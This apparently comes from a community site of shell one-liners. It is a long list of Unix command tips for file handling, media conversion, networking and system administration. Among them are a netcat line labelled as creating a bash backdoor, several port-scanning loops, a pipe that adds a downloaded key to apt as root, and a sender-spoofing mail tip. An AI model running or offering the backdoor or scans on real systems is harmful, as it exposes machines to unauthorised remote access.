# For a $FILE, extracts the path, filename, filename without extension and extension.
FILENAME=`echo ${FILE##*/}`;FILEPATH=`echo ${FILE%/*}`;NOEXT=`echo ${FILENAME%\.*}`;EXT=`echo ${FILE##*.}`

# Huh? Where did all my precious space go ?
ls -la | sort -k 5bn

# Convert the output of one or more (log, source code ...) files into html,
enscript -E --color -t "title" -w html --toc -p /PATH/to/output.html /var/log/*log

# Monitor logs in Linux using Tail
find /var/log -type f -exec file {} \; | grep 'text' | cut -d' ' -f1 | sed -e's/:$//g' | grep -v '[0-9]$' | xargs tail -f



# Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'

# Randomize lines in a file
awk 'BEGIN{srand()}{print rand(),$0}' SOMEFILE | sort -n | cut -d ' ' -f2-

# Zip a directory on Mac OS X and ignore .DS_Store (metadata) directory
zip -vr example.zip example/ -x "*.DS_Store"

# Filter IPs out of files
egrep -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' file.txt

# display typedefs, structs, unions and functions provided by a header file
cpp /usr/include/stdio.h | grep -v '^#' | grep -v '^$' | less

# What is My WAN IP?
curl -s checkip.dyndns.org | grep -Eo '[0-9\.]+'

# Skip over .svn directories when using the "find" command.
find . -not \( -name .svn -prune \)

# Notify me when users log in
notifyme -C `cat /etc/passwd | cut -d: -f1`

# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file

# Function that counts recursively number of lines of all files in specified folders
count() { find $@ -type f -exec cat {} + | wc -l; }

# Check if a process is running
kill -0 [pid]

# Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com

# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg

# Go to the next sibling directory in alphabetical order
for d in `find .. -mindepth 1 -maxdepth 1 -type d | sort`; do if [[ `basename $d` > `basename $PWD` ]]; then cd $d; break; fi; done

# Dumping Audio stream from flv (using mplayer)
$ mplayer -dumpaudio -dumpfile <filename>.mp3 <filename>.flv

# Validate and pretty-print JSON expressions.
echo '{"json":"obj"}' | python -m simplejson.tool

# en/decrypts files in a specific directory
for a in path/* ; do ccenrypt -K <password> $a; done

# Random line from bash.org  (funny IRC quotes)
curl -s http://bash.org/?random1|grep -oE "<p class=\"quote\">.*</p>.*</p>"|grep -oE "<p class=\"qt.*?</p>"|sed -e 's/<\/p>/\n/g' -e 's/<p class=\"qt\">//g' -e 's/<p class=\"qt\">//g'|perl -ne 'use HTML::Entities;print decode_entities($_),"\n"'|head -1

# Which fonts are installed?
fc-list | cut -d ':' -f 1 | sort -u

# Scale,Rotate, brightness, contrast,...with Image Magick
convert -rotate $rotate -scale $Widthx$Height -modulate $brightness -contrast $contrast -colorize $red%,$green%,$blue% $filter file_in.png file_out.png

# Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk

# Find status of all symlinks
symlinks -r $(pwd)

# Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi

# Show the UUID of a filesystem or partition
sudo vol_id -u /dev/sda1

# Avoiding history file to be overwritten
shopt -s histappend



# Apache memory usage
ps auxf | grep httpd | grep -v grep | grep -v defunct | awk '{sum=sum+$6}; END {print sum/1024}'

# Securely destroy data (including whole hard disks)
shred targetfile

# output list of modifications for an svn revision
svn log $url -r $revision -v  | egrep "   [RAMD] \/" | sed s/^.....//

# Propagate a directory to another and create symlink to content
lndir sourcedir destdir

# need ascii art pictures for you readme text ?
boxes -d dog  or   cowsay -f tux $M

# decoding Active Directory date format
ldapsearch -v -H ldap://<server> -x -D cn=<johndoe>,cn=<users>,dc=<ourdomain>,dc=<tld> -w<secret> -b ou=<lazystaff>,dc=<ourdomain>,dc=<tld> -s sub sAMAccountName=* '*' | perl -pne 's/(\d{11})\d{7}/"DATE-AD(".scalar(localtime($1-11644473600)).")"/e'

# Find a file's package or list a package's contents.
dlocate [ package | string ]

# Mount directories in different locations
mount --bind /old/directory/path /new/directory/path

# Eliminate dead symlinks interactively in /usr/ recursevely
find /usr/ -type l ! -xtype f ! -xtype d -ok rm -f {} \;

# Show the power of the home row on the Dvorak Keyboard layout
egrep -ci ^[aoeuidhtns-]+$ /usr/share/dict/words

# get the top 10 longest filenames
find | sed -e "s/^.*\///" | awk ' BEGIN { FS=""} { print NF "  " $0  } ' | sort -nrf | head -10

# Quick case-insenstive partial filename search
alias lg='ls --color=always | grep --color=always -i'

# Search for a word in less
\bTERM\b

# Identify name and resolution of all jpgs in current directory
identify  -verbose *.jpg|grep "\(Image:\|Resolution\)"

# Get information about a video file
mplayer -vo dummy -ao dummy -identify your_video.avi

# Remove today's installed packages
grep "install " /var/log/dpkg.log | awk '{print $4}' | xargs apt-get -y remove --purge

# See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r

# Show the date of easter
ncal -e

# automount samba shares as devices in /mnt/
sudo vi /etc/fstab; Go//smb-share/gino /mnt/place smbfs defaults,username=gino,password=pass 0 0<esc>:wq; mount //smb-share/gino

# Show the 20 most CPU/Memory hungry processes
ps aux | sort +2n | tail -20

# Generate random passwords (from which you may select "memorable" ones)
pwgen

# Download from Rapidshare Premium using wget - Part 1
wget --save-cookies ~/.cookies/rapidshare --post-data "login=USERNAME&password=PASSWORD" -O - https://ssl.rapidshare.com/cgi-bin/premiumzone.cgi > /dev/null

# Move all comments the top of the file in vim
:g:^\s*#.*:m0

# add a gpg key to aptitute package manager in a ubuntu system
wget -q http://xyz.gpg -O- | sudo  apt-key add -

# Calculating series with awk: add numbers from 1 to 100
seq 100 | awk '{sum+=$1} END {print sum}'



# Print out a man page
man -t man | lp

# Record your desktop
xvidcap --file filename.mpeg --fps 15 --cap_geometry 1680x1050+0+0 --rescale 25 --time 200.0 --start_no 0 --continue yes --gui no --auto

# Show all machines on the network
nmap 192.168.0-1.0-255 -sP

# copy/mkdir and automatically create parent directories
cp --parents /source/file /target-dir

# Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp

# watch iptables counters
watch 'iptables -vL'

# Sort files by size
ls -l | sort -nk5

# Gets the last string of previous command with !$
$mkdir mydir -> mv !$ yourdir -> $cd !$

# Show directories in the PATH, one per line
( IFS=:; for p in $PATH; do echo $p; done )

# Substitute spaces in filename with underscore
ls -1 | rename 's/\ /_/'

# Debug bash shell scripts.
bash -x SCRIPT

# kill all processes using a directory/file/etc
lsof|grep /somemount/| awk '{print $2}'|xargs kill

# List all process running a specfic port
sudo lsof -i :<port>

# list all executables in your path
ls `echo $PATH | sed 's/:/ /g'`

# Tweak system files without invoking a root shell
echo "Whatever you need" | sudo tee [-a] /etc/system-file.cfg

# Create a self-extracting archive for win32 using 7-zip
cat /path/to/7z.sfx /path/to/archive > archive.exe

# Delete files older than..
find /dir_name -mtime +5 -exec rm {} \

# Show latest changed files
ls -ltcrh

# lsof equivalent on solaris
/usr/proc/bin/pfiles $PID

# Batch resize all images in the current directory that are bigger than 800px, height or weight.
mogrify -resize 800\> *

# Convert video files to XviD
mencoder "$1" -ofps 23.976 -ovc lavc -oac copy -o "$1".avi

# Resize A Mounted EXT3 File System
v=/dev/vg0/lv0; lvextend -L+200G $v && resize2fs $v

# VMware Server print out the state of all registered Virtual Machines.
for vm in $(vmware-cmd -l);do echo -n "${vm} ";vmware-cmd ${vm} getstate|awk '{print $2 " " $3}';done

# Mount proc
mount -t proc{,,}

# Load another file in vim
:split <file>



# Create an ISO Image from a folder and burn it to CD
hdiutil makehybrid -o CDname.iso /Way/to/folder ; hdiutil burn CDname.iso

# netcat as a portscanner
nc -v -n -z -w 1 127.0.0.1 22-1000

# Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"

# split a string (1)
ARRAY=(aa bb cc);echo ${ARRAY[1]}

# restore the contents of a deleted file for which a descriptor is still available
N="filepath" ; P=/proc/$(lsof +L1 | grep "$N" | awk '{print $2}')/fd ; ls -l $P | sed -rn "/$N/s/.*([0-9]+) ->.*/\1/p" | xargs -I_ cat $P/_ > "$N"

# Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'

# Find the processes that are on the runqueue.  Processes with a status of
ps -eo stat,pid,user,command | egrep "^STAT|^D|^R"

# ps a process keeping the header info so you know what the columns of numbers mean!
ps auxw |egrep "PID|process_to_look_at"

# count processes with status "D" uninterruptible sleep
top -b -n 1 | awk '{if (NR <=7) print; else if ($8 == "D") {print; count++} } END {print "Total status D: "count}'

# nmap IP block and autogenerate comprehensive Nagios service checks
nmap -sS -O -oX /tmp/nmap.xml 10.1.1.0/24 -v -v && perl nmap2nagios.pl -v -r /tmp/10net.xml -o /etc/nagios/10net.cfg

# HTTP redirect
while [ 0 ]; do echo -e "HTTP/1.1 302 Found\nLocation: http://www.whatevs.com/index.html" | nc -vvvv -l -p 80; done

# open a seperate konsole tab and ssh to each of  N  servers (konsole 4.2+)
for i in $(cat listofservers.txt); do konsole --new-tab -e ssh $i; done

# take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }

# Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"

# Summarize Apache Extended server-status to show longest running requests
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'

# Count down from 10
for (( i = 10; i > 0; i-- )); do echo "$i"; sleep 1; done

# diff two sorted files
diff <(sort file1.txt) <(sort file2.txt)

# Command line progress bar
tar zcf - user | pv /bin/gzip > /tmp/backup.tar.gz

# Cleanup Python bytecode files
find . -name "*.py[co]" -exec rm -f {} \;

# Change the ownership of all files owned by one user.
find /home -uid 1056 -exec chown 2056 {} \;

# Find all the files more than 10MB, sort in descending order of size and record the output of filenames and size in a text file.
find . -size +10240k -exec ls -l {} \; | awk '{ print $5,"",$9 }'|sort -rn > message.out

# Forward port 8888 to remote machine for SOCKS Proxy
ssh -D 8888 user@site.com

# for newbies, how to get one line info about all /bin programs
ls -1 /bin | xargs -l1 whatis 2>/dev/null | grep -v "nothing appropriate"

# Compress files found with find
find ~/bin/ -name "*sh" -print0 | xargs -0t tar -zcvf foofile.tar.gz

# Convert Unix newlines to DOS newlines
sed 's/$/<ctrl+v><ctrl+m>/'



# gpg encrypt a file
gpg --encrypt --recipient 'Foo Bar' foo.txt

# Open up a man page as PDF (#OSX)
function man2pdf(){ man -t ${1:?Specify man as arg} | open -f -a preview; }

# Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES

# Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg

# Lists all directories under the current dir excluding the .svn directory and its contents
find . \( -type d -name .svn -prune \) -o -type d -print

# Tired of switching between proxy and no proxy? here's the solution.
iptables -t nat -A OUTPUT -d ! 10.0.0.0/8 -p tcp --dport 80 -j DNAT --to-destination 10.1.1.123:3128

# Unixtime
date +%s

# take a look to command before action
find /tmp -type f -printf 'rm "%p";\n'

# Add existing user to a group
usermod -a -G groupname username

# Generate diff of first 500 lines of two files
diff <(head -500 product-feed.xml) <(head -500 product-feed.xml.old)

# Remove EXIF data from images with progress
i=0; f=$(find . -type f -iregex ".*jpg");c=$(echo $f|sed "s/ /\n/g"| wc -l);for x in $f;do i=$(($i + 1));echo "$x $i of $c"; mogrify -strip $x;done

# Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"

# Undo several commits by committing an inverse patch.
git diff HEAD..rev | git apply --index; git commit

# fuman, an alternative to the 'man' command that shows commandlinefu.com examples
fuman(){ lynx -width=$COLUMNS -nonumbers -dump "http://www.commandlinefu.com/commands/using/$1" |sed '/Add to favourites/,/This is sample output/!d' |sed 's/ *Add to favourites/----/' |less -r; }

# Get My Public IP Address
wget -qO - http://myip.dk/ | egrep -m1 -o '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}'

# Reconnect to screen without disconnecting other sessions
screen -xR

# Clear mistyped passwords from password prompt
^u

# Find and list users who talk like "lolcats"
cd ~/.purple/logs/; egrep -ri "i can haz|pwn|l33t|w00|zomg" * | cut -d'/' -f 3 | sort | uniq | xargs -I {} echo "Note to self: ban user '{}'"

# Add all unversioned files to svn
svn st | grep "^\?" | awk "{print \$2}" | xargs svn add $1

# vimdiff to remotehost
vimdiff tera.py <(ssh -A testserver "cat tera.py")

# Count the number of characters in each line
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'

# list your device drivers
lspci -vv

# bulk dl files based on a pattern
curl -O http://hosted.met-art.com/generated_gallery/full/061606AnnaUkrainePasha/met-art-free-sample-00[00-19].jpg

# Create a zip archive excluding all SVN folders
zip -r myfile.zip * -x \*.svn\*

# Simplest  port scanner
for p in {1..1023}; do(echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done



# Lock the hardware eject button of the cdrom
eject -i 1

# Show interface/ip using awk
ifconfig -a| awk '/^wlan|^eth|^lo/ {;a=$1;FS=":"; nextline=NR+1; next}{ if (NR==nextline) { split($2,b," ")}{ if ($2 ~ /[0-9]\./) {print a,b[1]}; FS=" "}}'

# Hex math with bc
echo 'obase=16; C+F' | bc

# List all installed PERL modules by CPAN
perldoc perllocal

# Grab a list of MP3s out of Firefox's cache
for i in `ls ~/.mozilla/firefox/*/Cache`; do file $i | grep -i mpeg | awk '{print $1}' | sed s/.$//; done

# Change the homepage of Firefox
sed -i 's|\("browser.startup.homepage",\) "\(.*\)"|\1 "http://sliceoflinux.com"|' .mozilla/firefox/*.default/prefs.js

# In place line numbering
{ rm -f file10 && nl > file10; } < file10

# Find out what the day ends in
date +%A | tail -2c

# Disconnect telnet
telnet somehost 1234, <ctrl+5> close

# ssh: change directory while connecting
ssh -t server 'cd /etc && $SHELL'

# Makes the permissions of file2 the same as file1
getfacl file1 | setfacl --set-file=- file2

# Avoids ssh timeouts by sending a keep alive message to the server every 60 seconds
echo 'ServerAliveInterval 60' >> /etc/ssh/ssh_config

# Limit bandwidth usage by any program
trickle -d 60 wget http://very.big/file

# Google URL shortener
curl -s 'http://ggl-shortener.appspot.com/?url='"$1" | sed -e 's/{"short_url":"//' -e 's/"}/\n/g'

# List manually installed packages (excluding Essentials)
aptitude search '~i!~E' | grep -v "i A" | cut -d " " -f 4

# Restore mysql database uncompressing on the fly.
mysql -uroot -p'passwd' database < <(zcat database.sql.gz)

# Delete C style comments using vim
vim suite.js -c '%s!/\*\_.\{-}\*/!!g'

# get only time of execution of a command without his output
time Command  >/dev/null

# converting horizontal line to vertical line
tr '\t' '\n' < inputfile

# Merge files, joining each line in one line
paste file1 file2 fileN > merged

# Let's make screen and ssh-agent friends
eval `ssh-agent`; screen

# Tell Analytics to fuck itself.
gofuckanalytics() { echo "DELETE FROM moz_cookies WHERE name LIKE '__utm%';" | sqlite3 $( find ~/.mozilla -name cookies.sqlite ) }

# Get all mac address
ifconfig | awk '/HWaddr/ { print $NF }'

# Get all mac address
ifconfig -a| grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'

# Start another instance of X via SSH
startx -- /usr/X11R6/bin/Xnest :5 -geometry 800x600



# Simple server which listens on a port and prints out received data
ncat -l portnumber

# Google Spell Checker
search='spelll'; curl -sd "<spellrequest><text>$search</text></spellrequest>" https://google.com/tbproxy/spell | sed 's/.*<spellresult [^>]*>\(.*\)<\/spellresult>/\1/;s/<c \([^>]*\)>\([^<]*\)<\/c>/\1;\2\n/g' | grep 's="1"' | sed 's/^.*;\([^\t]*\).*$/\1/'

# Turn shell tracing and verbosity (set -xv) on/off with 1 command!
xv() { case $- in *[xv]*) set +xv;; *) set -xv ;; esac }

# Url Encode
echo "$url" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'

# split a multi-page PDF into separate files
gs -dBATCH -dNOPAUSE -sDEVICE=pdfwrite -dFirstPage=2 -dLastPage=2 -sOutputFile=page2.pdf multipageinputfile.pdf

# Function to split a string into an array
Split()	{ eval "$1=( \"$(echo "${!1}" | sed "s/$2/\" \"/g")\" )"; }

# How many days until the end of the year
echo "There are $(($(date +%j -d"Dec 31, $(date +%Y)")-$(date +%j))) left in year $(date +%Y)."

# nice disk usage, sorted by size, see description for full command
du -sk ./* | sort -nr

# Dump a web page
curl -s http://google.com | hexdump -C|less

# Set a posix shell to echo all commands that it's about to execute, after all expansions have been done.
set -x

# Get Cookies from bash
a="www.commandlinefu.com";b="/index.php";for n in $(seq 1 7);do echo -en "GET $b HTTP/1.0\r\nHost: "$a"\r\n\r\n" |nc $a 80 2>&1 |grep Set-Cookie;done

# Recursively grep thorugh directory for string in file.
grep -r -i "phrase" directory/

# Extract all 7zip files in current directory taking filename spaces into account
for file in *.7z; do 7zr e "$file"; done

# renice by name
renice +5 -p $(pidof <process name>)

# Perl one liner for epoch time conversion
perl -pe's/([\d.]+)/localtime $1/e;'

# improve copy file over ssh showing progress
file='path to file'; tar -cf - "$file" | pv -s $(du -sb "$file" | awk '{print $1}') | gzip -c | ssh -c blowfish user@host tar -zxf - -C /opt/games

# Change the From: address on the fly for email sent from the command-line
mail -s "subject" user@todomain.com <emailbody.txt  -- -f customfrom@fromdomain.com -F 'From Display Name'

# Command to Show a List of Special Characters for bash prompt (PS1)
alias PS1="man bash | sed -n '/ASCII bell/,/end a sequence/p'"

# Copy a file using dd and watch its progress
dd if=fromfile of=tofile & DDPID=$! ; sleep 1 ; while kill -USR1 $DDPID ; do sleep 5; done

# Every Nth line position # (AWK)
awk 'NR%3==1' file

# Rename .JPG to .jpg recursively
find /path/to/images -name '*.JPG' -exec bash -c 'mv "$1" "${1/%.JPG/.jpg}"' -- {} \;

# Resize a Terminal Window
printf "\e[8;70;180;t"

# Print a row of 50 hyphens
perl -le'print"-"x50'

# Is it a terminal?
isatty(){ test -t $1; }

# Block all IP addresses and domains that have attempted brute force SSH login to computer
(bzcat BZIP2_FILES && cat TEXT_FILES) | grep -E "Invalid user|PAM" | grep -o -E "from .+" | awk '{print $2}' | sort | uniq >> /etc/hosts.deny



# cd up a number of levels
function ..(){ for ((j=${1:-1},i=0;i<j;i++));do builtin cd ..;done;}

# Empty a file
> foobar.txt

# get xclip to own the clipboard contents
xclip -o -selection clipboard | xclip -selection clipboard

# Sniffing network to generate a pcap file in CLI mode on a remote host and open it via local Wireshark ( GUI ).
tcpdump -v -i <INTERFACE> -s 0 -w /tmp/sniff.pcap port <PORT> # On the remote side

# create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)

# List the size (in human readable form) of all sub folders from the current location
du -sch ./*

# Find the ratio between ram usage and swap usage.
sysctl -a | grep vm.swappiness

# Send a local file via email
mutt your@email_address.com -s "Message Subject Here" -a attachment.jpg </dev/null

# Find jpeg images and copy them to a central location
find . -iname "*.jpg" -print0 | tr '[A-Z]' '[a-z]' | xargs -0 cp --backup=numbered -dp -u --target-directory {location} &

# Find and copy scattered mp3 files into one directory
find . -iname '*.mp3' -type f -print0 | xargs -I{} -0 cp {} </path>

# Generate a binary file with all ones (0xff) in it
tr '\000' '\377' < /dev/zero | dd of=allones bs=1024 count=2k

# determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi

# Display Dilbert strip of the day
display http://dilbert.com$(curl -s dilbert.com|grep -Po '"\K/dyn/str_strip(/0+){4}/.*strip.[^\.]*\.gif')

# Monitor memory usage
watch vmstat -sSM

# Return threads count of a process
ps -o thcount -p <process id>

# Mirror the NASA Astronomy Picture of the Day Archive
wget -t inf -k -r -l 3 -p -m http://apod.nasa.gov/apod/archivepix.html

# Sorted list of established destination connections
netstat | awk '/EST/{print $5}' | sort

# DVD to YouTube ready watermarked MPEG-4 AVI file using mencoder (step 2)
mencoder -sub heading.ssa -subpos 0 -subfont-text-scale 4 -utf8 -oac copy -ovc lavc -lavcopts vcodec=mpeg4 -vf scale=320:-2,expand=:240:::1 -ffourcc xvid -o output.avi dvd.avi

# Burn a directory of mp3s to an audio cd.
alias burnaudiocd='mkdir ./temp && for i in *.[Mm][Pp]3;do mpg123 -w "./temp/${i%%.*}.wav" "$i";done;cdrecord -pad ./temp/* && rm -r ./temp'

# Remove an IP address ban that has been errantly blacklisted by denyhosts
denyhosts-remove $IP_ADDRESS

# View the latest astronomy picture of the day from NASA.
apod(){ local x=http://antwrp.gsfc.nasa.gov/apod/;feh $x$(curl -s ${x}astropix.html|grep -Pom1 'image/\d+/.*\.\w+');}

# Real time satellite wheather wallpaper
curl http://www.cpa.unicamp.br/imagens/satelite/ult.gif | xli -onroot -fill stdin

# Print stack trace of a core file without needing to enter gdb interactively
alias gdbbt="gdb -q -n -ex bt -batch"

# Create date based backups
backup() { for i in "$@"; do cp -va $i $i.$(date +%Y%m%d-%H%M%S); done }

# Burst a Single PDF Document into Single Pages and Report its Data to doc_data.txt
pdftk mydoc.pdf burst



# Create a backdoor on a machine to allow remote connection to bash
/bin/bash | nc -l 1234

# umount all nfs mounts on machine
umount -a -t nfs

# Figure out your work output for the day
git diff --stat `git log --author="XXXXX" --since="12 hours ago" --pretty=oneline | tail -n1 | cut -c1-40` HEAD

# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,3}((;[0-9]{1,3})*)?)?[m|K]//g

# Get the absolute path of a file
absolute_path () { readlink -f "$1"; };

# backup local MySQL database into a folder and removes older then 5 days backups
mysqldump -uUSERNAME -pPASSWORD database | gzip > /path/to/db/files/db-backup-`date +%Y-%m-%d`.sql.gz ;find /path/to/db/files/* -mtime +5 -exec rm {} \;

# List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n

# Display a block of text with AWK
sed -n /start_pattern/,/stop_pattern/p file.txt

# grep -v with multiple patterns.
sed '/test/{/error\|critical\|warning/d}' somefile

# StopWatch, simple text, hh:mm:ss using Unix Time
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds)'

# Compression formats Benchmark
for a in bzip2 lzma gzip;do echo -n>$a;for b in $(seq 0 256);do dd if=/dev/zero of=$b.zero bs=$b count=1;c=$(date +%s%N);$a $b.zero;d=$(date +%s%N);total=$(echo $d-$c|bc);echo $total>>$a;rm $b.zero *.bz2 *.lzma *.gz;done;done

# geoip lookup
geoip(){curl -s "http://www.geody.com/geoip.php?ip=${1}" | sed '/^IP:/!d;s/<[^>][^>]*>//g' ;}

# Localize provenance of current established connections
for i in $(netstat --inet -n|grep ESTA|awk '{print $5}'|cut -d: -f1);do geoiplookup $i;done

# Determine MAC address of remote host when you know its IP address
arping 192.168.1.2

# calulate established tcp connection of local machine
netstat -an|grep -ci "tcp.*established"

# Using column to format a directory listing
(printf "PERMISSIONS LINKS OWNER GROUP SIZE MONTH DAY HH:MM PROG-NAME\n" \ ; ls -l | sed 1d) | column -t

# Enable programmable bash completion in debian lenny
aptitude install bash-completion ; source /etc/bash_completion

# List dot-files and dirs, but not . or ..
ls -A

# Make alias pemanent fast
PERMA () { echo "$@" >> ~/.bashrc; }

# Rip DVD to YouTube ready MPEG-4 AVI file using mencoder
mencoder -oac mp3lame -lameopts cbr=128 -ovc lavc -lavcopts vcodec=mpeg4 -ffourcc xvid -vf scale=320:-2,expand=:240:::1 -o output.avi dvd://0

# Port scan a range of hosts with Netcat.
for i in {21..29}; do nc -v -n -z -w 1 192.168.0.$i 443; done

# 32 bits or 64 bits?
sudo lshw -C cpu|grep width

# Restart command if it dies.
ps -C program_name || { program_name & }

# clean up syntax and de-obfuscate perl script
%! perl -MO=Deparse | perltidy

# Remove color codes (special characters) with sed
sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g"



# Catch a proccess from a user and strace it.
x=1; while [ $x = 1 ]; do process=`pgrep -u username`; if [ $process ]; then x=0; fi;  done; strace -vvtf -s 256  -p $process

# Convert mp3/wav file to asterisk ulaw for music on hold (moh)
sox -v 0.125 -V <mp3.mp3> -t au -r 8000 -U -b -c 1 <ulaw.ulaw> resample -ql

# calulate established tcp connection of local machine
netstat -an | awk '$1 ~ /[Tt][Cc][Pp]/ && $NF ~ /ESTABLISHED/{i++}END{print "Connected:\t", i}'

# Change Title of Terminal Window to Verbose Info useful at Login
echo -ne "\033]0;`id -un`:`id -gn`@`hostname||uname -n|sed 1q` `who -m|sed -e "s%^.* \(pts/[0-9]*\).*(\(.*\))%[\1] (\2)%g"` [`uptime|sed -e "s/.*: \([^,]*\).*/\1/" -e "s/ //g"` / `ps aux|wc -l`]\007"

# git remove files which have been deleted
git add -u

# Extract audio track from a video file using mencoder
mencoder -of rawaudio -ovc copy -oac mp3lame -o output.mp3 input.avi

# Happy Days
echo {1..3}" o'clock" ROCK

# search for a file in PATH
type <filename>

# Extract audio from Mythtv recording to Rockbox iPod using ffmpeg
ffmpeg -ss 0:58:15 -i DavidLettermanBlackCrowes.mpg -acodec copy DavidLettermanBlackCrowes.ac3

# Run remote web page, but don't save the results
wget -O /dev/null http://www.google.com

# Make a statistic about the lines of code
find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'

# When was your OS installed?
ls -ldct /lost+found |awk '{print $6, $7}'

# Update Ping.fm status
curl -d api_key="$api_key" -d user_app_key="$user_app_key -d body="$body" -d post_method="default" http://api.ping.fm/v1/user.post

# list all hd partitions
awk '/d.[0-9]/{print $4}' /proc/partitions

# Top 10 requestors by IP address from Apache/NCSA Logs
awk '{print $1}' /var/log/httpd/access_log | sort | uniq -c | sort -rnk1 | head -n 10

# To get  internet connection information .
sudo /bin/netstat -tpee

# Do a search-and-replace in a file after making a backup
perl -i'.bak' -pe 's/old/new/g' <filename>

# convert unixtime to human-readable
perl -e 'print scalar(gmtime(1234567890)), "\n"'

# convert unixtime to human-readable with awk
echo 1234567890 | awk '{ print strftime("%c", $0); }'

# scp a good script from host A which has no public access to host C, but with a hop by host B
cat nicescript |ssh middlehost "cat | ssh -a root@securehost 'cat > nicescript'"

# Compare an archive with filesystem
tar dfz horde-webmail-1.2.3.tar.gz

# Update twitter via curl as Function
tweet(){ curl -u "$1" -d status="$2" "http://twitter.com/statuses/update.xml"; }

# print file without duplicated lines usind awk
awk '!($0 in a) {a[$0];print}' file

# Copy via tar pipe while preserving file permissions (cp does not!; run this command with root!)
cp -pr olddirectory newdirectory

# Download Youtube Playlist
y=http://www.youtube.com;for i in $(curl -s $f|grep -o "url='$y/watch?v=[^']*'");do d=$(echo $i|sed "s|url\='$y/watch?v=\(.*\)&.*'|\1|");wget -O $d.flv "$y/get_video.php?video_id=$d&t=$(curl -s "$y/watch?v=$d"|sed -n 's/.* "t": "\([^"]*\)",.*/\1/p')";done



# YES = NO
yes n

# List all groups and the user names that were in each group
for u in `cut -f1 -d: /etc/passwd`; do echo -n $u:; groups $u; done | sort

# Random number generation within a range N, here N=10
echo $(( $RANDOM % 10 + 1 ))

# floating point operations in shell scripts
echo "scale=4; 3 / 5" | bc

# for all who don't have the watch command
watch() { t=$1; shift; while test :; do clear; date=$(date); echo -e "Every "$t"s: $@ \t\t\t\t $date"; $@; sleep $t; done }

# Find UTF-8 text files misinterpreted as ISO 8859-1 due to Byte Order Mark (BOM) of the Unicode Standard.
find . -type f | grep -rl $'\xEF\xBB\xBF'

# Create Encrypted WordPress MySQL Backup without any DB details, just the wp-config.php
eval $(sed -e "s/^d[^D]*DB_\([NUPH]\).*',[^']*'\([^']*\)'.*/_\1='\2';/" -e "/^_/!d" wp-config.php) && mysqldump --opt --add-drop-table -u$_U -p$_P -h$_H $_N | gpg -er AskApache >`date +%m%d%y-%H%M.$_N.sqls`

# formatting number with comma
printf "%'d\n" 1234567

# Find the process you are looking for minus the grepped one
ps -C command

# make 100 directories with leading zero, 001...100, using bash3.X
mkdir $(printf '%03d\n' {1..100})

# Switch to the previous branch used in git(1)
git checkout -

# Batch file name renaming (copying or moving) w/ glob matching.
for x in *.ex1; do mv "${x}" "${x%ex1}ex2"; done

# Change Windows Domain password from Linux
smbpasswd -r <domain-server> -U <user name>

# Move all but the newest 100 emails to a gzipped archive
find $MAILDIR/ -type f -printf '%T@ %p\n' | sort --reverse | sed -e '{ 1,100d; s/[0-9]*\.[0-9]* \(.*\)/\1/g }' | xargs -i sh -c "cat {}&&rm -f {}" | gzip -c >>ARCHIVE.gz

# Testing php configuration
php -r "phpinfo\(\);"

# Recursively Find Images, Convert to JPEGS and Delete
find . -name '*'.tiff -exec bash -c "mogrify -format jpg -quality 85 -resize 75% {} && rm {}" \;

# Convert one file from ISO-8859-1 to UTF-8.
iconv --from-code=ISO-8859-1 --to-code=UTF-8 iso.txt > utf.txt

# Stage only portions of the changes to a file.
git add --patch <filename>

# Colorize make, gcc, and diff output
colormake, colorgcc, colordiff

# use wget to check if a remote file exists
wget --spider -v http://www.server.com/path/file.ext

# Retrieve top ip threats from http://isc.sans.org/sources.html and add them into iptables output chain.
